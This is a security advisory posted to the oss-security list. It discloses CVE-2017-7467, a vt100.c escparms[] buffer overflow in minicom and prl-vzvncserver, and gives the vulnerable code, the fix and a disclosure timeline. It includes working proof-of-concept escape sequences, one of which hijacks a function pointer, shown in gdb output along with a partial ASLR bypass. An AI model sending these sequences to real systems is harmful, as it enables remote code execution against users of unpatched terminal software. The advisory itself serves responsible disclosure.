oss-security - CVE-2017-7467: minicom and prl-vzvncserver vt100.c escparms[] buffer overflow

Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 18 Apr 2017 15:22:55 +0200
From: Solar Designer <solar@...nwall.com>
To: oss-security@...ts.openwall.com
Cc: Adam Lackorzynski <adam@...inf.tu-dresden.de>
Subject: CVE-2017-7467: minicom and prl-vzvncserver vt100.c escparms[] buffer overflow

Hi,

This is to announce a vulnerability that has just been fixed in minicom
2.7.1 released earlier today, and that had been found and fixed in
derived code in prl-vzvncserver (a Virtuozzo 7 component) earlier this
year.  minicom 2.7.1 is available for download at:

https://alioth.debian.org/projects/minicom/

The main bug is that in minicom's vt100.c escparms[] is declared as:

static void (*vt_keyb)(int, int);/* Gets called for NORMAL/APPL switch. */
static void (*termout)(const char *, int);/* Gets called to output a string. */

static int escparms[8];         /* Cumulated escape sequence. */
static int ptr;                 /* Index into escparms array. */
static long vt_tabs[5];         /* Tab stops for max. 32*5 = 160 columns. */

but is filled as:

  /* See if a number follows */
  if (c >= '0' && c <= '9') {
    escparms[ptr] = 10*escparms[ptr] + c - '0';
    return;
  }
  /* Separation between numbers ? */
  if (c == ';') {
    if (ptr < 15)
      ptr++;
    return;
  }

Notice the 8 vs. 15 (meaning 16 elements) discrepancy.

At least in the Fedora 23 package of minicom, this lets me adjust or
replace the termout function pointer.  If the variables were put in .bss
in the other order (perhaps by a different compiler), then ptr could be
overwritten, which is likely also exploitable.

Here's how to reproduce:

mkfifo fifo
gdb /usr/bin/minicom

(gdb) r -oD fifo
Starting program: /usr/bin/minicom -oD fifo

On another terminal:

echo -ne "\033[0;0;0;0;0;0;0;0;00000000000000000000001094795585;00000000000000000000001094795585" > fifo

Then press Enter in minicom, and:

Program received signal SIGSEGV, Segmentation fault.
                                                    0x000055555555d31f in v_termout ()
(gdb) disass
Dump of assembler code for function v_termout:
[...]
   0x000055555555d316 <+70>:	mov    %r12d,%esi
   0x000055555555d319 <+73>:	mov    %rbp,%rdi
   0x000055555555d31c <+76>:	pop    %rbp
   0x000055555555d31d <+77>:	pop    %r12
=> 0x000055555555d31f <+79>:	jmpq   *0x225ebb(%rip)        # 0x5555557831e0
   0x000055555555d325 <+85>:	nopl   (%rax)
   0x000055555555d328 <+88>:	mov    $0xa,%edi
   0x000055555555d32d <+93>:	callq  0x55555555be70 <vt_out>
   0x000055555555d332 <+98>:	jmp    0x55555555d304 <v_termout+52>
End of assembler dump.
(gdb) x/2x 0x5555557831e0
0x5555557831e0:	0x41414141	0x41414141

As you can see, I am able to control the address to branch to.  Moreover,
on typical 64-bit little-endian there's partial ASLR (PIE) bypass due to
ability to keep most significant 32 bits of the function pointer intact.

Thus, this bug likely allows for remote code execution.

In the PoC above, the decimal numbers (corresponding to the 32-bit
pointer halves) include leading zeroes (for exactly 32 digits in each
number) in order to completely shift out, one bit at a time, the
previous contents of the v_termout pointer.  This works due to the
multiplier 10 including 2 as a factor.

The fix included in minicom 2.7.1 is simply:

-	if (ptr < 15)
+	if (ptr < 7)

(I guess a later code revision could introduce a macro for this array's
size, or determine the array size by dividing two sizeof's.)

I'd like to thank Adam Lackorzynski, CC'ed here, for producing the new
minicom release promptly and in time for this announcement.

I first found the bug during Openwall's security audit of the
Virtuozzo 7 product, which contains derived downstream code in its
prl-vzvncserver component.  The corresponding Virtuozzo 7 fix is:

https://src.openvz.org/projects/OVZ/repos/prl-vzvncserver/commits/6d95404e75b98f36b1cc85ee23df99dcf06ca13f

We would like to thank the Virtuozzo company for funding the effort.

In prl-vzvncserver, the escparms[] overflow wasn't obviously exploitable
due to different nearby variables:

static int esc_s = 0;

#define ESC 27

static unsigned char vt_fg;             /* Standard foreground color. */
static unsigned char vt_bg;             /* Standard background color. */

static int escparms[8];         /* Cumulated escape sequence. */
static int ptr;                 /* Index into escparms array. */

static short newy1 = 0;         /* Current size of scrolling region. */
static short newy2 = 23;

but it also was clearly triggerable, as seen in an ASan-enabled build:

==45204== ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000006164a0 at pc 0x40c922 bp 0x7fffffffa700 sp 0x7fffffffa6f0
READ of size 4 at 0x0000006164a0 thread T0
    #0 0x40c921 (/home/user/prl-vzvncserver-debug/prl_vzvncserver_app+0x40c921)
    #1 0x403e6d (/home/user/prl-vzvncserver-debug/prl_vzvncserver_app+0x403e6d)
    #2 0x7ffff43c8b14 (/usr/lib64/libc-2.17.so+0x21b14)
    #3 0x4043f4 (/home/user/prl-vzvncserver-debug/prl_vzvncserver_app+0x4043f4)
0x0000006164a0 is located 32 bytes to the left of global variable 'vt_bg (vt100.c)' (0x6164c0) of size 1
  'vt_bg (vt100.c)' is ascii string ''
0x0000006164a0 is located 0 bytes to the right of global variable 'escparms (vt100.c)' (0x616480) of size 32
  'escparms (vt100.c)' is ascii string ''

In VzLinux's build of prl-vzvncserver as of when this issue was
discovered, the following variables happened to follow escparms[] and
were close enough: esc_s, vt_fg, vt_bg.  Changing esc_s is benign - for
valid values, it could as well be done directly (with the proper
escapes), and the invalid values are unused.  Changing vt_fg or/and
vt_bg might have some other ill effects, although we'd expect only out
of bound reads, so at worst crashes.  That's because prl-vzvncserver's
console.c defines only a 16 entry colourMap.  In LibVNCServer, that
table appears to be used to initialize related tables with bigger
elements, but those inherit the size of 16.  Out of bound reads from
those tables in LibVNCServer might be triggered through having the color
numbers above 15 written to the frameBuffer (which console.c will
happily do once we overwrote vt_fg or/and vt_bg with such values) and
then accessed via certain parts of LibVNCServer's code.  We did not
actually test for these potential ill effects of overwriting vt_fg
or/and vt_bg.  Regardless, it is inappropriate and unsafe to rely on a
specific memory layout of a binary build, and of course the issue was
promptly fixed.

Some other issues inherited from minicom likely were exploitable in
prl-vzvncserver - namely, incomplete validation of cursor coordinates
in vt100.c.  In minicom itself, there's further validation in mc_*()
functions.  In prl-vzvncserver, there was no such validation in its
equivalent functions - and there are now more commits in the above
repository fixing those issues (besides the commit referenced above).
Specifically, a likely exploitable code path was triggered e.g. with:

echo -ne "\033[2147483648B"

but this appears to do little against minicom.(*)  In fact, I ran a
rather extensive set of escape sequences against minicom, which
triggered no other crashes besides the escparms[] buffer overflow
reported here.

(*) Formally speaking, the code is also triggering C's undefined
behavior when it allows signed integers to overflow.  In practice, so
far compilers only make use of compile-time detectable UB of this kind
(such as to drop the UB-triggering code as an optimization, since they
are allowed to).

One change minicom could make later is switch to using unsigned types
for escparms and coordinates.  But we'd need to carefully review all
uses for that, in case any place relies on a value temporarily becoming
negative and on checking for that.

prl-vzvncserver was using int and switched to "unsigned short".
This may be weird, but it actually helps avoid integer overflows in
calculations as inputs to calculations become more limited whereas
intermediate results get promoted to int.

Besides minicom and prl-vzvncserver, I managed to identify just one
other project reusing this code (and also containing the issues), but
it's obscure (likely unused):

https://github.com/sigflup/vt100

I did not bother notifying this project in advance (putting the
information at unjustified risk), but I intend to notify it now.

For those into CVEs: CVE-2017-7467 is only for the escparms[] buffer
overflow (in all projects reusing this code), not for other issues
casually mentioned in here (even if some of them had higher impact on
prl-vzvncserver).  Those other issues have no CVE IDs.

Timeline:

20161228 - bug found in prl-vzvncserver
20161229 - report to Virtuozzo
20170109 - fix committed in Virtuozzo (became part of an update later)
20170407 - report to minicom
20170408 - initial heads-up and CVE request via distros@vs, no detail
20170411 - detail shared with distros@vs
20170418 - fixed minicom release, public disclosure

Alexander
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.